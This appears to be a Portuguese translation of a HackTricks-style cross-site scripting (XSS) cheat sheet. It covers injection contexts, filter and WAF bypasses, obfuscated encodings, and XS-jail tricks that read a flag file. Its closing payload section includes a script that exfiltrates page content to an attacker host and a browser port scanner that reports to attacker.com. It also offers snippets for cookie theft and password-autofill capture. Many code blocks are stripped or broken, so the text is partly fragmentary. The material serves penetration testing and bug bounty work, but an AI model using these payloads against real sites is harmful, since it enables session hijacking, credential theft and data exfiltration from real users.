# XSS (Cross Site Scripting) / **Dica de recompensa por bug**: **inscreva-se** no **Intigriti**, uma plataforma premium de recompensas por bugs criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Metodologia 1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. 2. **Encontre o contexto** onde ele está sendo refletido/usado. 3. Se **refletido** 1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: 1. Em **HTML bruto**: 1. Você pode criar novas tags HTML? 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você pode abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md). 5. Se você não pode criar tags HTML que executam código JS, você pode abusar de uma [**Marcação Pendurada - Injeção HTML sem script**](../dangling-markup-html-scriptless-injection.md)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? 3. O atributo em que você está preso suporta a execução de JS? 4. Você pode contornar proteções? 3. Dentro do **código JavaScript**: 1. Você pode escapar da tag ``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: * Se refletido entre as tags **``**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar deste contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `` injetada está dentro do código HTML. * Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado: * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Codificação Unicode** funciona para escrever **código javascript válido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Elevação de Javascript A Elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois que elas são usadas**. Portanto, se você tiver cenários em que pode **injetar código JS depois que um objeto não declarado** é usado, você pode **corrigir a sintaxe** declarando-o (para que seu código seja executado em vez de gerar um erro): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` Para obter mais informações sobre o Hoisting do Javascript, verifique: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Função Javascript Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`. Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como: ![](<../../.gitbook/assets/image (651) (2).png>) Caso esteja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**). No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**: ![](<../../.gitbook/assets/image (662).png>) Algumas funções úteis para isso: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`. No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações. Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração **Same Origin Method Execution (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Há **código JS** que está usando **de forma insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de um aplicativo da web, mas de **qualquer contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos arbitrários** em clientes e servidores e muito mais.\ Alguns **exemplos**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## Bypass de WAF codificando imagem ![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Injetando dentro do HTML bruto Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar do `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se ele é **refletido sem alterações**. **Somente nesse último caso você poderá explorar esse caso**.\ Para esses casos, também **tenha em mente** a [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\ _**Observação: Um comentário HTML pode ser fechado usando\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_ Nesse caso, e se não houver uso de lista negra/lista branca, você pode usar payloads como: ```javascript ``` Mas, se estiver sendo usado um sistema de lista negra/branca de tags/atributos, você precisará **forçar a entrada para descobrir quais tags** você pode criar.\ Depois de **localizar quais tags são permitidas**, você precisará **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto. ### Forçando entrada de tags/eventos Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior). ### Tags personalizadas Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código: ``` /?search=#x ``` ### Bypasses de Lista Negra Se alguma lista negra estiver sendo usada, você pode tentar burlá-la com alguns truques bobos: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar a **carga útil**, isso **não funcionará**, mas você pode **misturá-los dentro da carga útil**. **Usando a codificação Hex e Octal com `javascript:`** Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing O ataque de *reverse tab nabbing* é uma técnica de phishing que explora a confiança do usuário em links que abrem em novas guias. O atacante cria um link malicioso que, quando clicado, abre uma nova guia com o site legítimo e, em seguida, redireciona a guia original para um site malicioso. Isso faz com que o usuário acredite que está navegando no site legítimo, enquanto na verdade está interagindo com o site malicioso. O atacante pode então roubar informações confidenciais, como credenciais de login ou informações de cartão de crédito. ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS em "Tags não exploráveis" (input hidden, link, canonical) De [aqui](https://portswigger.net/research/xss-in-hidden-input-fields):\ Você pode executar um **payload XSS dentro de um atributo oculto**, desde que possa **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de chave de acesso. Aqui está o vetor: ```markup ``` Observe que neste exemplo **nem mesmo fechamos a aspa simples**, mas isso não é necessário, pois o **navegador primeiro realiza a análise HTML** para identificar os elementos da página, incluindo blocos de script, e somente depois realiza a análise JavaScript para entender e executar os scripts incorporados. ### Dentro do código JS Se `<>` estiverem sendo sanitizados, ainda é possível **escapar a string** onde sua entrada está sendo **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Literais de modelo \`\` Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como literais de modelo, pois permite **incorporar expressões JS** usando a sintaxe `${ ... }`.\ Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Execução de código codificado ```markup ``` **Javascript dentro de um comentário** Às vezes, os desenvolvedores colocam comentários em seu código HTML para explicar o que está acontecendo. No entanto, se um comentário contiver código JavaScript, ele será executado pelo navegador. Isso pode ser usado para injetar código malicioso em uma página da web. Para explorar essa vulnerabilidade, você pode tentar inserir código JavaScript dentro de um comentário e ver se ele é executado pelo navegador. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sem parênteses** O truque de JavaScript sem parênteses é uma técnica de XSS que envolve a execução de código JavaScript sem o uso de parênteses. Isso é possível porque o JavaScript permite que os parênteses sejam omitidos em torno dos argumentos de uma função. Em vez disso, os argumentos podem ser separados por vírgulas. Essa técnica pode ser usada para injetar código malicioso em um site e executá-lo no navegador do usuário. ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` **Chamada de função arbitrária (alerta)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilidades DOM** Existe **código JS** que está usando **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ **Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Lá você encontrará uma **explicação detalhada do que são as vulnerabilidades DOM, como elas são provocadas e como explorá-las**.\ Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de clobbering DOM**](dom-xss.md#dom-clobbering). ## Outros Bypasses ### Unicode Normalizado Você pode verificar se os **valores refletidos** estão sendo **normalizados em Unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar as proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass do sinalizador PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Bypass do Ruby-On-Rails Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ Por exemplo, ([neste relatório](https://hackerone.com/reports/709336)), se você enviar o payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` O par "Chave","Valor" será ecoado de volta assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Então, o atributo onfocus será inserido: ![](<../../.gitbook/assets/image (107).png>) Ocorre um XSS. ### Combinações especiais ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ``` ### XSS com injeção de cabeçalho em uma resposta 302 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, portanto, apenas uma carga útil de script entre sites é inútil. Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste outro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute a carga útil XSS dentro do corpo.\ Protocolos conhecidos: `mailto://`, `//x:1/`, `ws://`, `wss://`, cabeçalho Location vazio, `resource://`. ### Somente letras, números e pontos Se você puder indicar o **callback** que o JavaScript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento. ### Tipos de conteúdo ` ``` * **módulo** (padrão, nada a explicar) * \*\*\*\*[**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * \*\*\*\*[**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação. ```html ``` Este comportamento foi utilizado neste [**writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la para desencadear XSS. * \*\*\*\*[**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso é principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim: ```html ``` ### Tipos de Conteúdo da Web para XSS (Daqui [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? não está na lista, mas acho que vi isso em um CTF) * application/rss+xml (off) * application/atom+xml (off) Em outros navegadores, outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Tipo de Conteúdo xml Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: ```xml hello ``` ### Padrões Especiais de Substituição Quando algo como **`"alguns dados {{template}}".replace("{{template}}", )`** é usado. O atacante pode usar [**substituições especiais de string**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. ### Cache do Chrome para XSS ### XS Jails Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` ### Ofuscação e Bypass Avançado * **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## Cargas úteis comuns de XSS ### Várias cargas úteis em 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Recuperar Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Você **não poderá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte. {% endhint %} ### Roubar Conteúdo da Página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Encontrar IPs internos ```html ``` ### Scanner de Portas (busca) Este script é um scanner de portas simples que usa a biblioteca `fetch` do JavaScript para enviar solicitações HTTP para cada porta em uma lista de portas. Se a solicitação for bem-sucedida (ou seja, o servidor estiver ouvindo na porta), a porta é considerada aberta. Caso contrário, a porta é considerada fechada. Este script é útil para identificar portas abertas em um servidor e pode ser usado como parte de um teste de penetração. ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner de Portas (websockets) O scanner de portas é uma ferramenta essencial para qualquer testador de penetração. Ele permite que você descubra quais portas estão abertas em um determinado host, o que pode ajudá-lo a identificar possíveis vulnerabilidades. O scanner de portas baseado em websockets é uma variação do scanner de portas tradicional que usa a tecnologia de websockets para se comunicar com o servidor. Isso permite que o scanner de portas seja executado em um navegador da web, sem a necessidade de instalar nenhum software adicional. ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Captura de preenchimento automático de senhas ```javascript Username:
Password:
